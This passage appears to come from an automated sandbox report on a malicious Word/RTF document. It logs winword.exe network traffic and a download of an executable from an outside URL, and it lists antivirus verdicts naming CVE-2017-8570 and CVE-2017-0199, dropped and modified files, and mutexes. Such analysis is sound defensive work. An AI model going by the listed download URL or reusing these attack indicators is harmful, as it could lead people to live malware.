  642. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xb4\\x83r\\x97\\x041y\\xc9\\x8d\\xb3\\xff\\xe21\\xf0\\x9c<is\\xda\\xef\\xfaf\\x86\\x1f\\x9c\\x85\\xe6n\\xe0\\x14\\xe1\nl\\x9e\\x80`\\x08#0\\xd1\\x10\\xe4\\x89m\\x88\\x9f\\xe0o\\xbe4\\x06\\xec\\xd1g7a\\xaav\\x12\\xa2\\xcf\\x9f\\xbe\\x84\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x1a\\xa2\\xc5\\x19>\\xe3\\x0c%p\\x13\\xd5\\xd6gp\\xc8\\xb9m\\xb4\\xa3\\xe1\\x0f\\xb0=\\x95\\x15\\xedi?\\xf8\\xb1\\xb3@\\xa9\\xf6\\xbf%\t\\xbf\\xed\\xcdh\\x84\\xe6i\\x86\\xeb\\x19"
  643.  
  644.  
  645. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x1bn\\xba\\xae\\x92\\x0f\\xdem\\xe8\\xde:i\\xe4\\x85h\\xc8u\\xd3\\x1f\\x98\\xfd5>\\xe6\\x8d\\x07,\\xf1h;\\xd7\\xcfh\\xbae=\\x8b\\x0b>\\x15\\x1bq\\xd3\\xcdv0\\xda\\xc0\\xb4\\xc8\\x16\\x8ek7\\xb8<q~u\\x06b\\xaa-\n\\xc3m?\\x824\\x08\\x9c\\x9f\\xa0\\x953k5\\x92=\\xef\\x8a\\xf4\\x02!\\xfd\\xe1\\x90\\xd4~\t\\xa2\\xd2\\x18\\xbak\\xc0q`h\\x13\\xb5\\xd3tt\\xe4\\xe3m?~\\x81\\xd9/\\xe1/\\xbd\\xb5\\xae\\x87l\\xaed\\xad\\xfb\\xe1y:7\\xfc\\x17\\xd5^kz\\x05m;\\xe1\\xc4\\xcca\\xb9\\xb6\\x87\\x9f$o\\xc3\\xe8\\xc6e4\\x19\\x94\\x91\\xa3\\x94mt<q^\\xfd\\xed\\x97\\xe8\\xe9\\xc8x\\xc61\\xd7\\x15-\\xed\\x10\\xc7\\xc5r\\x0e\\xa3\\x11\\xfd\\x01\\xd3\\xb6\\x13\\x82\\xb5\n\\xc1a:9\\xf0'\\x18$\\x8c\\xa7\\x14\\xdda\\xce\\x1e-\\x92\\xe3\\x9c\\x1a\\xf5|\\x87w(d\\x8d<8\\xf8\\xc1\\xbb4\\xcf7?\\x16-b\\xc5\\xaez\\xbe;\\x12da+2\\xe9\\x84\\xa7\"m\\x0f"
  646.  
  647.  
  648. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x0108\\xe7\\xf2\\x91\\xfdzp!v\\xd3\\xad\\xad\\xa7\\x06\\xbd\\x92\\xd1#\\x06\\x1f\\xea\\xe8\\xd68\\xb8\\xc5\\xf3/\\xac\\xb1j\\xc0\\xc2\\xa8\\xc4\\xb9\\x0c\\xf1lj8\\xc6c\\xed\\xa4\\x04\\x9a\\xec\\x96\\x15j\\xa8\\x81\\xed\\xc1\\xfb\\xe8\\x96k@$)\\xaf\\x8f9y&\\x8e\\x13\\xf6^y\"\\xec\\xf4\\xa8\\x84,\\xe4\\x9bw,\\xd4\\xaf<\\xb2\\xf4wa8\\xe1\\x10\\xcf=\\x8fen\\x1c\\x9bju\r\\x1a\\xe0\\xb65\\x08|\\xcf'\\xed\\x82p\\x1b\\x0f8l7\\xfd\\xb5r\\x16n!\\xe7\\xcb\\x85\\x17\\xfd;m\\x8b\\xbci\\xf9\\x81\\xbd\\x1d\\xd8\\xdc\\xd0\\xc0\\x1e\\xc5\\xd0_\\xe6\\xde\\xbf\\xeb\\x98\\xe0xh\\x84\\x983\\xc6\\xeb\\xdfg\\xa0r-.\\xf1$re\\x8f\\xa8\\x0bpu\\x81w~_\"\\xaco\\x8d\\x16\\xfdb\\x11\\xe8\\xf5\\xb1\\x9b\\x92\\x1cru:\\xc5\\x98%\\x1c\\x89!$je\\xe1\\xe5ed|\\xa8\\xa0l\\xbd\\x0fv\\x1c\\xbb\\x10\\x0e.\\xfe\\x1b\\x06\\xf9z\\x06\\x17\t\\xc7\\x0e8,\\x94\\x96\\xdc\\x188\\x0ed\\xfa>\\x1b\\x9a\\x00\\x96\\x11m"
  649.  
  650.  
  651. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010=\\x13\\x06\\xe5\\xa9e+\\x8e\\xf0~\\xdb\\xdfcm\\x07fx\\xc0\\xfd\\xce\\xa9\\xba\\x1a4\\x8d\\x80\\xa9$\\x80?\\x16\\x9f\\x839\\x7f\\xc3\\xc0\\xa2\\x1c\\xb4n\\xe5\\x82\\x00\\xc9\\xd6\\xe9\\x88\\xa14\\xd0j\\xa6\\xb8\\x89'\\x9c\\x03\n\\xec\\xe8\\x10\\xbdzr)\\xcf\\xbb\\xa3fq\\x11n\\xed\\xa3\\xea\\xce\\xf4|c\\xc7\\x1e\\xd3\\x8e\r(\\xb9&ct\\x85\\xbffo$\\xb5(\\xa8r\\x05\\x87\\xf6\\xf5\\x01\\xd9\\xe3\r\\x81r\\xbeo\\x86q\\xc8\\xda\\xe3zz\\xae^\\x82\\x97\\x953z\\x89!\n\\xe9\\xa7q\\xc5\\xa8\\xcay:\\x00\\xcb\\x98\\x7f\\x84\\x98\\xf2\\xa0\\x18\\x0f\\xbbj\\xc6\\xcdz\\x1bcn bs-\\x9b\\xbe\\xc4d&\\xb6\\xbb\\xe4\\xae\\x9a\\xe3\\xa41\\xddk\\x17\\xa6\\x84\\xed\\xcb\\xc7\\xbd\\x1c\\x85l\\x8e-\\xaf\\xb1p\\x9f\\xbc\\xe2is\\x7fa\\xdc\\x1d\\xcb\\xb1\\x1e\\xb8\\xb4\\x1ek\\xb1\n\\xef\\x11b-\\x99\\xd3\\xc0\\xc6f\\xf2k\\xb9\\xf69\\x82\\xc7\\xfbfc4\\x99\\xcb\\xe4c\\x02\\xd7y\\xd6|)\\xe0z\\xbbq\\xcfdjs\\xa4\\x93\\x1d\\xa6"
  652.  
  653.  
  654. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x9b\\xaa(\\xdf\\xe9\\xa4\\xdc\\x8f\\xd6r\\xe6\\xfb\\xdc\"7\\x96\\xe9\\xb7\\xc8\\xa6\\xc5\\xdf\\xec\\xf0\\xba\\x08&\\x9c\\x16^\\x86\\xfb\\xda\\xe9|\\x8c\\xd4\\xcf\\x86(#\\x88_\\x81_-x\\xee\\x92\\xe7f\\x16\\xd3j:n\\xd5\\xf5\\xa0\\xf1\\x03\\xfb\\x1d#h\\xb3\\xe6@-x\\x9al\\xbcn\\x95\\xb1\\xba\\xc4qu\\x8a\\xa0\\x95\\xc3\\x87\\x1eos\\x0bw\\x03u\\xbfx?*!\\xae\\xe8\\xa3b=\\xd1\\xfei5\\xf5\\xd7\\xa4\\xae\\x06&\\xf9\\xa9\\xbb`\\x1f\\x03\\x06#3\\x10p\\x05\\x18\"\\xf2!\\x0f#\r\\xb8^u\\xfc\\xdb\\xff\\x046\\xf1\\xa7h\\x08ftw\\x9a\\s\\x88\\xc0b\\x11\\xf1o\\xf7\\xcf\\xd8\\x93\\xc7\\x18\\x1b\\xd0\\xdd\\xe5e\\xd6,\\x8f\\x8ds\\x91\\xfc\\xfby\\xf7\\xa2\\x03=\\xe2<\\x18\\xe3\\xf8k\\xc3\n\\x03c\\x07\\xa9\\xe9\\xefp7sg\\x05\\xf9m\\xcc\\xc1\\xd2~\\x9dfk\\xa1\\x82\\x8avv/au\\x14k\\x93\r\\xdc\\x97\\xd9rz\\x8dr\\xaa\\xd3\\x95\\x8d\\xd9\\x12\\x1f\\xe5vr\\x97wg\\xaa\\x90j~\\xe2\\xb2\\xb7y"
  655.  
  656.  
  657. "http_request": "winword.exe_WSASend_get /pki/crl/products/miccodsigpca_08-31-2010.crl http/1.1\r\nconnection: keep-alive\r\naccept: */*\r\nif-modified-since: thu, 14 feb 2019 06:01:18 gmt\r\nuser-agent: microsoft-cryptoapi/6.1\r\nhost: crl.microsoft.com\r\n\r\n"
  658.  
  659.  
  660. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xb9\\x9ao\\x1b\\xa5\\xa6j\\xfb\\xe1\\xff\\x13l+c\\xb0\\xccx6\\xc2\\x9eo4o \\xa1^mq\\xd3t\\xc1\\xc0\\xc6\\x86h&\\x1f\\x98@\\xa1\\xec\\xeb\\\\x89>\\xce\\xfa t\\x98\\xa6\\xda\t\\xff=\\x1ew5tdt\\xf9\\xb0\\x1b\\xd5\\x94%\\xc7\\xd2\\xe6\n\r\\xe1\\x08|\\xa9\\x16\\x13\\xf9\\xb37w\\xed3\\xe9l\\x8b|&g4=\\xfd$\\xb2o;\\xc86\\xe2'\\x05t\\xbd\\xbamrs\\x00\\xb1\\xe6\\xad\\xdd\\xc4\\x0e\\x93\\xf5n\\x16\\xae\\xee\\xbc\\xaa1d\\xa0\\xa0h\\x89\\xa5\\xbdbj\\x1e\\xc6\\xec5\\x8b\\x1c~\\x9a<\\xf2\\xa7\\x90\\x11\\x8f\\xfet\\xff\\x84\\x08\\xd7n\\xff4\\xc5\\x8b\\x05n@\\xb95\\x04\n\\x83#\\x14a\\x82\\x01v\\x14\\x99*\\x8b\\xa7\\xbdm\\x91\\xd8\\xd4n\\x11y\\xb3q.\\x10\\x8c\\x7fj\\xf4nr\\xc1!\\xc9\\x1b\\xff\\xd2\\xc7\\x07\\xd2\\jq\\xff\\xae\\x06\\xa5~\\x9b\\xd7\\xc6\\xde(=(=\r\\x90\\x08j\\xc7j\\xedm@\\xf4\\xa8l\\xbf\\xe3\\x88\\xc9*\\xf3\\xed\\xb2l\\x8c\t"
  661.  
  662.  
  663. "http_request": "winword.exe_WSASend_get /pki/crl/products/miccodsigpca_08-31-2010.crl http/1.1\r\nconnection: keep-alive\r\naccept: */*\r\nuser-agent: microsoft-cryptoapi/6.1\r\nhost: crl.microsoft.com\r\n\r\n"
  664.  
  665.  
  666. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xda\\xa5\\xbb\\xf7\\xa5\\x95\\xc3\\xc6\\x98\\xa5\\xcd\\xcb\\xa3\\xd4\\xa1\\x81rf\\xaf\\x9b\\x96\\x14\\x1cw~\\xac\\x9e\\xa6\\x13\\x11\\xc2\\xb7ru\\x87y\\xc1\\xd4\\xf8\\xedz\\xdce\\xaf\\xfe\\xfdm\\x1ag\\xa0\\x87\\x0f\\xf6\\xb8=8\\x9fn\\xf79\\x82_\\x121s\\xe1m\\xc00\\x83\\xcb\\x0bdu\\x8e\\xae\\x92\\x8d\\xa9\\xe2\\xd7\\x867\\xc3\\x88\\xdc9\\xfc>\\x82\\xcd9<\\xe5\\xb4\\xed\\xb9\\xe6i\\x05\\x809\\x8b\\xb0\\xbd\\x8dz\\x17\\x8fwj\\x16\\xa3qwdipa a\\x8bd\\x87\\x0b\\x81\\xf6\\x1f`\\\\xc8\\xc8\\x1c\\xf5\\x83q\\xf8\\xf4\\xb7m\\xc9\\xfd\\x04\\xce\\xbfh\\xafv#\"gw\r\\x14\\xbc\\xd4\\xd6\\x96\\xd9\\xd4`\\xa0b\\x1dms:\\xe0\\x98h\\xf1\\xa9\\x97\\xd2\\xb8\\xf3\\xae\\xef\\xdc>\\xe7\\x1cxr\\x8dh\\xb1\\xd7\\xa1\\xcct\\x9df\\xc8\\x19\\xf8\\xac\\xb2\\x91\\x82\\x11\\xa1\\xb5\\xac\\xdc\\x02\\x92\\xd4\\xd0\\xf6\\x0br\\x10\\xc5b\\xd6&l|\\xbbz\\xdc\\xd2u%\\xc4\\x9d\\xac\\x1e\\x83\\xf9(\\x9fgh\\xb79\\xae\\x96'\\x12#\\x0fy\\x0e9\\xfc"
  667.  
  668.  
  669. "http_request": "winword.exe_WSASend_get /pki/crl/products/microsofttimestamppca.crl http/1.1\r\nconnection: keep-alive\r\naccept: */*\r\nuser-agent: microsoft-cryptoapi/6.1\r\nhost: crl.microsoft.com\r\n\r\n"
  670.  
  671.  
  672.  
  673.  
  674. "Description": "Likely Malicious Office Document DL/Write EXE to disk",
  675. "Details":
  676.  
  677. "office_dl_write_exe": "winword.exe_InternetCrackUrlW_http://neeladri.com/documents.exe"
  678.  
  679.  
  680. "office_dl_write_exe": "winword.exe_HttpOpenRequestW_/documents.exe"
  681.  
  682.  
  683. "office_dl_write_exe": "winword.exe_InternetCrackUrlW_http://neeladri.com/documents.exe"
  684.  
  685.  
  686. "office_dl_write_exe": "winword.exe_HttpOpenRequestW_/documents.exe"
  687.  
  688.  
  689. "office_dl_write_exe": "winword.exe_InternetCrackUrlW_http://neeladri.com/documents.exe"
  690.  
  691.  
  692. "office_dl_write_exe": "winword.exe_HttpOpenRequestW_/documents.exe"
  693.  
  694.  
  695.  
  696.  
  697. "Description": "Creates a hidden or system file",
  698. "Details":
  699.  
  700. "file": "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Word\\~WRL0001.tmp"
  701.  
  702.  
  703. "file": "C:\\Users\\user\\AppData\\Local\\Temp\\~WRL0003.tmp"
  704.  
  705.  
  706.  
  707.  
  708. "Description": "File has been identified by 25 Antiviruses on VirusTotal as malicious",
  709. "Details":
  710.  
  711. "MicroWorld-eScan": "VB:Trojan.Agent.EBTH"
  712.  
  713.  
  714. "CAT-QuickHeal": "Exp.RTF.CVE-2017-8570.A"
  715.  
  716.  
  717. "Arcabit": "VB:Trojan.Agent.EBTH"
  718.  
  719.  
  720. "Cyren": "JS/Downldr.QN2!Eldorado"
  721.  
  722.  
  723. "Symantec": "ISB.Downloader!gen60"
  724.  
  725.  
  726. "ESET-NOD32": "GenScript.FHY"
  727.  
  728.  
  729. "Kaspersky": "HEUR:Exploit.MSOffice.CVE-2017-8570.a"
  730.  
  731.  
  732. "BitDefender": "VB:Trojan.Agent.EBTH"
  733.  
  734.  
  735. "NANO-Antivirus": "Trojan.Script.Vbs-heuristic.druvzi"
  736.  
  737.  
  738. "Ad-Aware": "VB:Trojan.Agent.EBTH"
  739.  
  740.  
  741. "Sophos": "Troj/RTFDl-AEV"
  742.  
  743.  
  744. "F-Secure": "Exploit.EXP/W97M.Agent.mdqdm"
  745.  
  746.  
  747. "FireEye": "VB:Trojan.Agent.EBTH"
  748.  
  749.  
  750. "Emsisoft": "VB:Trojan.Agent.EBTH (B)"
  751.  
  752.  
  753. "Ikarus": "Win32.SuspectCrc"
  754.  
  755.  
  756. "Avira": "EXP/W97M.Agent.mdqdm"
  757.  
  758.  
  759. "Microsoft": "Trojan:Win32/Tiggre!rfn"
  760.  
  761.  
  762. "ZoneAlarm": "HEUR:Exploit.MSOffice.Generic"
  763.  
  764.  
  765. "ALYac": "VB:Trojan.Agent.EBTH"
  766.  
  767.  
  768. "TACHYON": "Suspicious/RTF.Script.Gen"
  769.  
  770.  
  771. "Zoner": "Probably RTFObfuscationD"
  772.  
  773.  
  774. "Rising": "Exploit.CVE-2017-8570!1.AFC6 (CLASSIC)"
  775.  
  776.  
  777. "MAX": "malware (ai score=83)"
  778.  
  779.  
  780. "GData": "VB:Trojan.Agent.EBTH"
  781.  
  782.  
  783. "Qihoo-360": "susp.rtf.objupdate.gen"
  784.  
  785.  
  786.  
  787.  
  788. "Description": "Clamav Hits in Target/Dropped/SuriExtracted",
  789. "Details":
  790.  
  791. "dropped": "clamav:Rtf.Exploit.CVE_2017_0199-6231737-0, sha256:1566a912843f76f22761d3fb854870900b5dc1199f8e7727f42ad38877a29169 , guest_paths:C:\\Users\\user\\AppData\\Local\\Temp\\RTF_a2c666fa5a13c744ad2c859e8874eb1b.doc, type:Rich Text Format data, version 1, unknown character set"
  792.  
  793.  
  794.  
  795.  
  796.  
  797. * Started Service:
  798. "osppsvc"
  799.  
  800.  
  801. * Mutexes:
  802. "Local\\!IETld!Mutex",
  803. "Global\\MTX_MSO_Formal1_S-1-5-21-0000000000-0000000000-0000000000-1000",
  804. "Global\\MTX_MSO_AdHoc1_S-1-5-21-0000000000-0000000000-0000000000-1000",
  805. "5CAC3FAB-87F0-4750-984D-D50144543427-VER15",
  806. "CicLoadWinStaWinSta0",
  807. "Local\\MSCTF.CtfMonitorInstMutexDefault1",
  808. "Global\\552FFA80-3393-423d-8671-7BA046BB5906",
  809. "Local\\F99C425F-9135-43ed-BD7D-396DE488DC53",
  810. "Global\\MsoShellExtRegAccess_S-1-5-21-0000000000-0000000000-0000000000-1000",
  811. "Local\\WinSpl64To32Mutex_1cec0_0_3000"
  812.  
  813.  
  814. * Modified Files:
  815. "C:\\Users\\user\\AppData\\Local\\Temp\\RTF_a2c666fa5a13c744ad2c859e8874eb1b.doc",
  816. "C:\\Users\\user\\AppData\\Local\\Temp\\~$F_a2c666fa5a13c744ad2c859e8874eb1b.doc",
  817. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\6BADA8974A10C4BD62CC921D13E43B18_88614FFAD35D353421B8A7E1FE18FCE4",
  818. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\6BADA8974A10C4BD62CC921D13E43B18_88614FFAD35D353421B8A7E1FE18FCE4",
  819. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRFBA574CB0-75EA-47C1-A92F-2D40DEF27AD2.tmp",
  820. "C:\\Users\\user\\AppData\\Local\\Temp\\Abctfhghghghghg.scT",
  821. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\37D958F0157C4E87D39A5E7FAB3AECCC_090773D7F9DBE1D85BCB60985361F32E",
  822. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\37D958F0157C4E87D39A5E7FAB3AECCC_090773D7F9DBE1D85BCB60985361F32E",
  823. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab6383.tmp",
  824. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar6384.tmp",
  825. "\\??\\PIPE\\srvsvc",
  826. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS71430FB5-E886-43BE-8E81-8B9753801F96.tmp",
  827. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRSE0CA3236-9198-4496-9405-5C3B9C981FC5.tmp",
  828. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.MSO\\17165E0D.png",
  829. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Word\\AutoRecovery save of RTF_a2c666fa5a13c744ad2c859e8874eb1b.asd",
  830. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Word\\~WRD0000.tmp",
  831. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Word\\~WRL0001.tmp",
  832. "C:\\Users\\user\\AppData\\Local\\Temp\\~DFBAF7E53E598870C1.TMP",
  833. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8D54.tmp",
  834. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8D65.tmp",
  835. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8D66.tmp",
  836. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8D77.tmp",
  837. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8D76.tmp",
  838. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8ED0.tmp",
  839. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8EF1.tmp",
  840. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8F12.tmp",
  841. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8F13.tmp",
  842. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8F14.tmp",
  843. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8F25.tmp",
  844. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8EE1.tmp",
  845. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8EF2.tmp",
  846. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8F45.tmp",
  847. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8F56.tmp",
  848. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8F67.tmp",
  849. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8F68.tmp",
  850. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8FA7.tmp",
  851. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8FC8.tmp",
  852. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8FB8.tmp",
  853. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8FC9.tmp",
  854. "C:\\Users\\user\\AppData\\Local\\Temp\\cab902A.tmp",
  855. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8FDA.tmp",
  856. "C:\\Users\\user\\AppData\\Local\\Temp\\cab904A.tmp",
  857. "C:\\Users\\user\\AppData\\Local\\Temp\\cab904B.tmp",
  858. "C:\\Users\\user\\AppData\\Local\\Temp\\cab908B.tmp",
  859. "C:\\Users\\user\\AppData\\Local\\Temp\\cab90AB.tmp",
  860. "C:\\Users\\user\\AppData\\Local\\Temp\\cab900A.tmp",
  861. "C:\\Users\\user\\AppData\\Local\\Temp\\cab90FA.tmp",
  862. "C:\\Users\\user\\AppData\\Local\\Temp\\cab910B.tmp",
  863. "C:\\Users\\user\\AppData\\Local\\Temp\\cab912C.tmp",
  864. "C:\\Users\\user\\AppData\\Local\\Temp\\cab910C.tmp",
  865. "C:\\Users\\user\\AppData\\Local\\Temp\\cab914C.tmp",
  866. "C:\\Users\\user\\AppData\\Local\\Temp\\cab917C.tmp",
  867. "C:\\Users\\user\\AppData\\Local\\Temp\\cab91CB.tmp",
  868. "C:\\Users\\user\\AppData\\Local\\Temp\\cab923A.tmp",
  869. "C:\\Users\\user\\AppData\\Local\\Temp\\cab925A.tmp",
  870. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\696F3DE637E6DE85B458996D49D759AD",
  871. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\696F3DE637E6DE85B458996D49D759AD",
  872. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9374.tmp",
  873. "C:\\Users\\user\\AppData\\Local\\Temp\\cab93D3.tmp",
  874. "C:\\Users\\user\\AppData\\Local\\Temp\\cab951C.tmp",
  875. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7396C420A8E1BC1DA97F1AF0D10BAD21",
  876. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7396C420A8E1BC1DA97F1AF0D10BAD21",
  877. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9730.tmp",
  878. "C:\\Users\\user\\AppData\\Local\\Temp\\cab983B.tmp",
  879. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab986B.tmp",
  880. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab98BB.tmp",
  881. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar987B.tmp",
  882. "C:\\Users\\user\\AppData\\Local\\Temp\\cab994D.tmp",
  883. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab995D.tmp",
  884. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab9AB7.tmp",
  885. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab990B.tmp",
  886. "C:\\Users\\user\\AppData\\Local\\Temp\\cab98DB.tmp",
  887. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab9AC8.tmp",
  888. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab9AD9.tmp",
  889. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab9AFB.tmp",
  890. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar995E.tmp",
  891. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar9ADB.tmp",
  892. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab9AFE.tmp",
  893. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab9BBD.tmp",
  894. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar9AC9.tmp",
  895. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab9BFF.tmp",
  896. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar9ADA.tmp",
  897. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab9B1F.tmp",
  898. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab9AFD.tmp",
  899. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar9AFC.tmp",
  900. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar990C.tmp",
  901. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar990D.tmp",
  902. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar9B4F.tmp",
  903. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab9E63.tmp",
  904. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar9BEF.tmp",
  905. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar9BBE.tmp",
  906. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab9F11.tmp",
  907. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar9E64.tmp",
  908. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\F90F18257CBB4D84216AC1E1F3BB2C76",
  909. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar9F21.tmp",
  910. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar9BBF.tmp",
  911. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\F90F18257CBB4D84216AC1E1F3BB2C76",
  912. "C:\\Users\\user\\AppData\\Local\\Temp\\cabA03C.tmp",
  913. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar9C00.tmp",
  914. "C:\\Users\\user\\AppData\\Local\\Temp\\cabA0CA.tmp",
  915. "C:\\Users\\user\\AppData\\Local\\Temp\\cabA0BA.tmp",
  916. "C:\\Users\\user\\AppData\\Local\\Temp\\CabA204.tmp",
  917. "C:\\Users\\user\\AppData\\Local\\Temp\\cabA215.tmp",
  918. "C:\\Users\\user\\AppData\\Local\\Temp\\CabA226.tmp",
  919. "C:\\Users\\user\\AppData\\Local\\Temp\\CabA228.tmp",
  920. "C:\\Users\\user\\AppData\\Local\\Temp\\CabA22A.tmp",
  921. "C:\\Users\\user\\AppData\\Local\\Temp\\TarA229.tmp",
  922. "C:\\Users\\user\\AppData\\Local\\Temp\\TarA22B.tmp",
  923. "C:\\Users\\user\\AppData\\Local\\Temp\\TarA227.tmp",
  924. "C:\\Users\\user\\AppData\\Local\\Temp\\cabA2D8.tmp",
  925. "C:\\Users\\user\\AppData\\Local\\Temp\\TarA205.tmp",
  926. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA451.tmp\\content.inf",
  927. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA440.tmp\\chevronaccent.glox",
  928. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA451.tmp\\Savon.thmx",
  929. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA50F.tmp\\content.inf",
  930. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA55E.tmp\\gosttitle.xsl",
  931. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA440.tmp\\Content.inf",
  932. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA4EE.tmp\\APASixthEditionOfficeOnline.xsl",
  933. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA4FF.tmp\\content.inf",
  934. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA50F.tmp\\Parallax.thmx",
  935. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA55E.tmp\\Content.inf",
  936. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA4EE.tmp\\Content.inf",
  937. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457496fn=Parallax.thmx",
  938. "C:\\Users\\user\\AppData\\Local\\Temp\\CabA63A.tmp",
  939. "C:\\Users\\user\\AppData\\Local\\Temp\\CabA729.tmp",
  940. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA4FF.tmp\\Quotable.thmx",
  941. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA63B.tmp\\Berlin.thmx",
  942. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA718.tmp\\gb.xsl",
  943. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457510fn=Savon.thmx",
  944. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA74A.tmp\\Headlines.thmx",
  945. "C:\\Users\\user\\AppData\\Local\\Temp\\cabA75C.tmp",
  946. "C:\\Users\\user\\AppData\\Local\\Temp\\TarA64C.tmp",
  947. "C:\\Users\\user\\AppData\\Local\\Temp\\cabA81B.tmp",
  948. "C:\\Users\\user\\AppData\\Local\\Temp\\cabA81A.tmp",
  949. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA74B.tmp\\CircleProcess.glox",
  950. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA809.tmp\\content.inf",
  951. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA718.tmp\\Content.inf",
  952. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA809.tmp\\Dividend.thmx",
  953. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA74B.tmp\\Content.inf",
  954. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA8A9.tmp\\ThemePictureAccent.glox",
